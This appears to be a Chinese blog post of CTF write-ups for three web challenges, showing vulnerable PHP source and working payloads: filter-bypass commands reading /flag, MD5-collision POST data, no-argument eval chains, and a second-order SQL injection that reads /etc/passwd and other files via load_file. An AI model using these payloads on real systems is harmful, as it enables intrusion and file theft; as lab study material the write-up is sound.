想了很久,虽然这篇可能记的东西不完全属于自己,但是毕竟技术力不够。而且学习还是要写写笔记的,所以干脆就写作一个集合,正好也算记录自己的日常。标题只是好玩写的,所以不要想太多就是了。写题嘛,快乐就好了。

[安洵杯 2019]easy_web

RegexpMD5FileInclusionfastcoll

题目的页面一打开就显示了两张图,很不一样的是有一张是 Base64 嵌入在网页里的,这种做法一般比较少。于是看了一眼 url,发现有两个参数,其中的 img 给的很像是 Base64 编码。于是尝试补全等号然后解码,发现更像了,于是再解密了一次,得到了 3535352e706e67。看起来像 hex,尝试解码后果然得到了线索 555.png。于是便想到包含文件。把 index.php 一顿操作之后得到了页面源码(这里截取 php 部分)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>

观察到可以执行的点是参数 cmd,但是正则过滤十分苛刻。这里有一个点,对于 php 来说,正则需要使用 \\\ 来匹配才能匹配到反斜杠,所以实际上反斜杠还能用。在一番查找下,我找到了另外一个可以用的指令 sort。于是这部分就有了两种解决方法。

1
2
ca\t /fla\g
sort /flag

剩下的就是 MD5 碰撞的问题。一番查找之下,我找到了一个生成 MD5 碰撞字符串的工具。生成好之后把字符串分别 urlencode 之后组合成 POST 参数,使用 Burpsuite 发送请求(HackBar 依旧没有成功)。有一个比较神奇的点是,我在把 POST 请求最后的换行符去掉之后才请求成功的。有可能是这个原因导致使用 HackBar 无法成功得到 flag。

这里贴上我使用的两个参数

1
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%91r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%1E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%8A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5DHd%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%0C%1B%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AE%D0%A6%09Q%2B&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D1B%A9%11U%DD%AF%15vu%0F%DA%F6%7Dd%8B%DE%0A%AD%11r%DE%8De%07%9AC%AE%2A%BAF%DBw%BD%BB%E3%DE%E0%AD4gZ_%5C%13%9E%19F%28%7B%A8%D1%7F%2C%17%9BO%12%B4%0A%2B%DA%B9%E1%0F%0F%EBAT%07%213kujM%9DS%97%02%B3M%5D%C8d%DC%91%C1%AB%C3+%E8%B7_%A8%C7%D3%FDz%E8%9F%021%1E4%01%C83%12%8C%1A%8C%F6%CA%CA%CA%93K%40%5D%94%C8%AEP%A6%09Q%2B

准确无误地发送封包之后可以得到 flag。

1
flag{f9dccbe4-f6d1-4928-9904-fc1e1d39944d}

[GXYCTF2019]禁止套娃

RegexpRCESessionSource Leak

题目开始就只有一句话,Header 和 Cookie 也没得线索,于是果断扫目录,发现 /.git 响应长度不一样。于是果断上 GitHack 拿到了首页源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

啊,看这正则过滤,多么美妙,真实的一个参数都不给你。不过不慌,我可是搜过半小时相关知识点的萌新。先构造个 scandir(current(localeconv())) 看一下根目录有啥。这里的原理就是 localeconv() 输出的数组中第一个一定是一个 .。根据结果发现 flag.php 在根目录。于是就得想办法读取它啦,但是它不在数组的第一个,有两种办法来读到它。把数组反过来然后整个 next(),也就是 highlight_file(next(array_reverse(scandir(pos(localeconv())))))。或者简单粗暴,整个 flip 和 rand readfile(array_rand(array_flip(scandir(current(localeconv()))))) 不停地刷新,就能刷到啦。

我还查到了一种神奇的做法,利用 session 来完成。首先在 Console 里面执行 document.cookie="PHPSESSID=flag.php" 指定 SessionId。然后 exp 写 show_source(session_id(session_start())); 就能成功读到 flag.php 从而拿到 flag 了。

1
flag{5f914f8d-550d-4c3a-bdae-345f50997b0d}

[网鼎杯 2018]Comment

Source LeakSQL Injectiongithacker

这题是事先就被透露了是 git 源码泄露的,其实还有个要点,Console 里说没有 commit,这点很重要。调整 git 的 HEAD 才能拿到完整的源码,使用到的工具是 githacker。恢复源码之后可以拿到 write_do.php。仔细读一读,不难发现,修改的时候 $category = mysql_fetch_array($result)['category'];,这里的变量 $category 会被直接传入 SQL 语句中。所以只要想办法使 content 变成我们想要的数据就行了。所以,可以使 category',content=payload/* 然后提交之后再修改 content 使其为 */# 闭合一个注释然后把后面的语句都注释掉,这个时候,语句变化了,这样就能使 content 输出我们需要的内容。

1
2
3
4
5
$sql = "insert into comment
set category = '',content=payload/*',
content = '*/#',
bo_id = '$bo_id'";
"insert into comment set category = '',content=payload/**/#"

一开始我是想直接找到用户密码的,尝试读取 /etc/passwd/etc/shadow 未果之后,我又长了新知识。根据 /etc/passwd 下的提示 ,www 用户可以使用 bash,于是查询该用户的 .bash_history 找到了线索,读取 /tmp/html/.DS_Store。这里还有个要点,因为文件太长了,使用 load_file() 读取的时候可能显示不完整,所以就用 hex() 转换一下,构造 ',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*,解码之后找到了线索 flag_ 8946e1ff1ee3e40f.php。按照一样的套路读取这个文件可以读取到 flag。

1
flag{bcd19c68-e4eb-43d7-845a-7a51bce22828}